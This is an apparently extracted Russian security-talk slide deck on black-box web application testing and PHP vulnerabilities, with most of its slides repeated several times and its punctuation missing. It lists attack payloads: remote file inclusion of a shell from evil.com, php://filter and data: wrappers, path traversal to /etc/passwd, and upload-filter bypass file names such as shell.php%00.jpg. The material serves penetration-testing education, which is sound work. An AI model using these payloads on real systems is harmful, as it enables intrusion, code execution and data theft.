bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым
Сбор информации
bull Анализ веб-приложения часто осложняется использованием технологий web 20
bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных
bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)
bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL
Сбор информации
bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием
bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413
bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
Сбор информацииbull Следующим шагом является получение списка
параметров веб-приложения (POST GET Cookie а также заголовки)
bull Их можно угадать исходя из структуры используемых на сайте ссылок
bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск
bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и
размерусодержимому HTTP-ответа
Быстрый fuzzing
bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Black box
Чёрный ящик = Black box
Анализ защищённости
bull Белым ящикомndash Об объекта анализа известно всёndash Есть исходные тексты карты сети и т д
bull Чёрным ящикомndash Известны только точки входа (или даже их нет)ndash Заказчик не выдаёт информацию
bull Серый ящикndash На практике всегда что-то среднееndash Например есть учётные записи но нет исходных
текстов
Почему black box
bull Модель атаки близкая к чёрному ящику наиболее точно воспроизводит действия большинства злоумышленников
bull Если что-то удалось взломать чёрным ящиком то белым ящиком это будет ещё проще
bull Заказчики часто просто не хотят доверять доступ к исходникам своих продуктов или к серверам с конфиденциальной информацией
План
bull Первая частьndash Приёмы разведки (reconnaissance)ndash Определение используемых технологийndash (Тихий) сбор информацииndash Быстрый поверхностный анализ (fuzzing)
bull Вторая частьndash Некоторые уязвимости PHPndash Тестирование интерфейсов загрузки файловndash Уязвимости типа file inclusionndash Уязвимости механизмов десериализации
Первые шагиbull Перед Вами веб-приложение Что делать
Первые шаги
Первые шаги
bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)
bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-
сервераbull Смотрим на HTTP-заголовки и содержимое
ответов
Главные идеи
bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)
bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)
Распознавание платформbull Веб-серверы часто оставляют подпись в
HTTP-заголовке Serverbull Также есть специфичные запросы
например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server
bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)
Распознавание платформ
bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно
bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных
bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo
Распознавание платформ
bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом
bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework
bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework
bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious
Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt
CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию
установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS
(например у Bitrix)bull Часто название CMS написано в атрибуте generator
HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla
dle_root =gt DataLife Engine wp-content =gt WordPress и т д
Сбор информации
bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip
bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip
bull Перебор файлов и директорий по словарю
Сбор информации
bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql
bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым
Сбор информации
bull Анализ веб-приложения часто осложняется использованием технологий web 20
bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных
bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)
bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL
Сбор информации
bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием
bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413
bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
Сбор информацииbull Следующим шагом является получение списка
параметров веб-приложения (POST GET Cookie а также заголовки)
bull Их можно угадать исходя из структуры используемых на сайте ссылок
bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск
bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и
размерусодержимому HTTP-ответа
Быстрый fuzzing
bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Чёрный ящик = Black box
Анализ защищённости
bull Белым ящикомndash Об объекта анализа известно всёndash Есть исходные тексты карты сети и т д
bull Чёрным ящикомndash Известны только точки входа (или даже их нет)ndash Заказчик не выдаёт информацию
bull Серый ящикndash На практике всегда что-то среднееndash Например есть учётные записи но нет исходных
текстов
Почему black box
bull Модель атаки близкая к чёрному ящику наиболее точно воспроизводит действия большинства злоумышленников
bull Если что-то удалось взломать чёрным ящиком то белым ящиком это будет ещё проще
bull Заказчики часто просто не хотят доверять доступ к исходникам своих продуктов или к серверам с конфиденциальной информацией
План
bull Первая частьndash Приёмы разведки (reconnaissance)ndash Определение используемых технологийndash (Тихий) сбор информацииndash Быстрый поверхностный анализ (fuzzing)
bull Вторая частьndash Некоторые уязвимости PHPndash Тестирование интерфейсов загрузки файловndash Уязвимости типа file inclusionndash Уязвимости механизмов десериализации
Первые шагиbull Перед Вами веб-приложение Что делать
Первые шаги
Первые шаги
bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)
bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-
сервераbull Смотрим на HTTP-заголовки и содержимое
ответов
Главные идеи
bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)
bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)
Распознавание платформbull Веб-серверы часто оставляют подпись в
HTTP-заголовке Serverbull Также есть специфичные запросы
например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server
bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)
Распознавание платформ
bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно
bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных
bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo
Распознавание платформ
bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом
bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework
bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework
bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious
Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt
CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию
установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS
(например у Bitrix)bull Часто название CMS написано в атрибуте generator
HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla
dle_root =gt DataLife Engine wp-content =gt WordPress и т д
Сбор информации
bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip
bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip
bull Перебор файлов и директорий по словарю
Сбор информации
bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql
bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым
Сбор информации
bull Анализ веб-приложения часто осложняется использованием технологий web 20
bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных
bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)
bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL
Сбор информации
bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием
bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413
bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
Сбор информацииbull Следующим шагом является получение списка
параметров веб-приложения (POST GET Cookie а также заголовки)
bull Их можно угадать исходя из структуры используемых на сайте ссылок
bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск
bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и
размерусодержимому HTTP-ответа
Быстрый fuzzing
bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
